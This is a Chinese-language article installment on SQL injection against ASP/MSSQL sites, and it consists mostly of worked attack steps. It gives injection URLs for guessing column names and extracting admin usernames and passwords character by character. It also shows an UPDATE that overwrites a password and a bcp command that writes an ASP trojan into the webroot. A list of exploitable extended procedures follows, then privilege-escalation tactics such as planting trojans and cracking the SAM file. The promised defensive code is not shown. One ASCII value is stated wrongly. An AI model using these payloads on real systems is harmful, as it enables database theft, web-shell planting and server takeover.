SQL注入漏洞的攻防策略(8)
猜解法:此方法就是根據(jù)個人的經(jīng)驗猜字段名,一般來說,用戶名字段的名稱常用:username,name,
user,account等。而密碼字段的名稱常用:password,pass,pwd,passwd等。并通過語句進(jìn)行判斷
HTTP://www.163.com/news.asp?id=xx and (select count(字段名) from TestDB.dbo.admin)>0
“select count(字段名) from 表名”
語句得到表的行數(shù),所以若字段名存在,則news.asp工作正常,否則異常。如此循環(huán),直到猜到兩個
字段的名稱。
讀取法:基本的實現(xiàn)方法是
HTTP://www.163.com/news.asp?id=xx and (select top 1 col_name(object_id('admin'),1) from
TestDB.dbo.sysobjects)>0 。
select top 1 col_name(object_id('admin'),1) from TestDB.dbo.sysobjects是從sysobjects得到已知
表名的第一個字段名,當(dāng)與整數(shù)進(jìn)行比較,顯然news.asp工作異常,但在異常中卻可以發(fā)現(xiàn)字段的名稱。
把col_name(object_id('admin'),1)中的1依次換成2,3,4,5,6…就可得到所有的字段名稱。
d 猜解用戶名與密碼
猜用戶名與密碼的內(nèi)容最常用也是最有效的方法有:
ASCII碼逐字解碼法:雖然這種方法速度較慢,但肯定是可行的?;镜乃悸肥窍炔鲁鲎侄蔚拈L度,然
后依次猜出每一位的值。猜用戶名與猜密碼的方法相同,以下以猜用戶名為例說明其過程。
HTTP://www.163.com/news.asp?id=xx and (select top 1 len(username) from
TestDB.dbo.admin)=X(X=1,2,3,4,5,… n,username
為用戶名字段的名稱,admin為表的名稱),若x為某一值i且news.asp運行正常時,則i就是第一個用
戶名的長度。如:當(dāng)輸入
HTTP://www.163.com/news.asp?id=xx and (select top 1 len(username) from TestDB.dbo.admin)=8時
news.asp運行正常,則第一個用戶名的長度為8
HTTP://www.163.com/news.asp?id=xx and (select top 1 ascii(substring(username,m,1)) from
TestDB.dbo.admin)=n
(m的值在1到上一步得到的用戶名長度之間,當(dāng)m=1,2,3,…時猜測分別猜測第1,2,3,…位的值;n的值是
1~9、a~z、A~Z的ASCII值,也就是1~128之間的任意值;admin為系統(tǒng)用戶帳號表的名稱),若n為某一值i
且news.asp運行正常時,則i對應(yīng)ASCII碼就是用戶名某一位值。如:當(dāng)輸入
HTTP://www.163.com/news.asp?id=xx and (select top 1 ascii(substring(username,3,1)) from
TestDB.dbo.admin)=80時news.asp運行正常,則用戶名的第三位為P(P的ASCII為80);HTTP://www.163.co
m/news.asp?id=xx and (select top 1 ascii(substring(username,9,1)) from TestDB.dbo.admin)=33
時news.asp運行正常,則用戶名的第9位為!(!的ASCII為80);猜到第一個用戶名及密碼后,同理,可以猜
出其他所有用戶名與密碼。注意:有時得到的密碼可能是經(jīng)MD5等方式加密后的信息,還需要用專用工具
進(jìn)行脫密?;蛘呦雀钠涿艽a,使用完后再改回來,見下面說明。簡單法:猜用戶名用HTTP://www.163.com
/news.asp?id=xx and (select top 1 flag from TestDB.dbo.admin where username>1) ,
flag是admin表中的一個字段,username是用戶名字段,此時news.asp工作異常,但能得到Username的值
。與上同樣的方法,可以得到第二用戶名,第三個用戶等等,直到表中的所有用戶名。
猜用戶密碼:HTTP://www.163.com/news.asp?id=xx and (select top 1 flag from
TestDB.dbo.admin where pwd>1) , flag是admin表中的一個字段,pwd是密碼字段,此時news.asp工作
異常,但能得到pwd的值。與上同樣的方法,可以得到第二用戶名的密碼,第三個用戶的密碼等等,直到
表中的所有用戶的密碼。密碼有時是經(jīng)MD5加密的,可以改密碼。
HTTP://www.163.com/news.asp?id=xx;update TestDB.dbo.admin set pwd=' a0b923820dcc509a'
where username='www';-- ( 1的MD5值為:AAABBBCCCDDDEEEF,即把密碼改成1;www為已知的用戶名)用
同樣的方法當(dāng)然可把密碼改原來的值。
2、利用表內(nèi)容導(dǎo)成文件功能
SQL有BCP命令,它可以把表的內(nèi)容導(dǎo)成文本文件并放到指定位置。利用這項功能,我們可以先建一張
臨時表,然后在表中一行一行地輸入一個ASP木馬,然后用BCP命令導(dǎo)出形成ASP文件。
命令行格式如下:
bcp "select * from text..foo" queryout c:/inetpub/wwwroot/163.asp –c –S localhost –U sa
–P foobar
('S'參數(shù)為執(zhí)行查詢的服務(wù)器,'U'參數(shù)為用戶名,'P'參數(shù)為密碼,最終上傳了一個163.asp的木馬)
3、利用工具,如NBSI給出的一些參考數(shù)據(jù)最重要的表名:
select * from sysobjects
sysobjects ncsysobjects
sysindexes tsysindexes
syscolumns
systypes
sysusers
sysdatabases
sysxlogins
sysprocesses
最重要的一些用戶名(默認(rèn)sql數(shù)據(jù)庫中存在著的)
public
dbo
guest(一般禁止,或者沒權(quán)限)
db_sercurityadmin
ab_dlladmin
一些默認(rèn)擴(kuò)展
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
xp_availablemedia 驅(qū)動器相關(guān)
xp_dirtree 目錄
xp_enumdsn ODBC連接
xp_loginconfig 服務(wù)器安全模式信息
xp_makecab 創(chuàng)建壓縮卷
xp_ntsec_enumdomains domain信息
xp_terminate_process 終端進(jìn)程,給出一個PID
(三)、得到系統(tǒng)的管理員權(quán)限
ASP木馬只有USER權(quán)限,要想獲取對系統(tǒng)的完全控制,還要有系統(tǒng)的管理員權(quán)限。怎么辦?提升權(quán)限
的方法有很多種:
上傳木馬,修改開機(jī)自動運行的.ini文件(它一重啟,便死定了);
復(fù)制CMD.exe到scripts,人為制造UNICODE漏洞;
下載SAM文件,破解并獲取OS的所有用戶名密碼;
等等,視系統(tǒng)的具體情況而定,可以采取不同的方法。
那么我們怎么防注入呢?程序如下加入到asp或html或php或cgi里面都可以。經(jīng)過測試。加入如
top.asp文件中開頭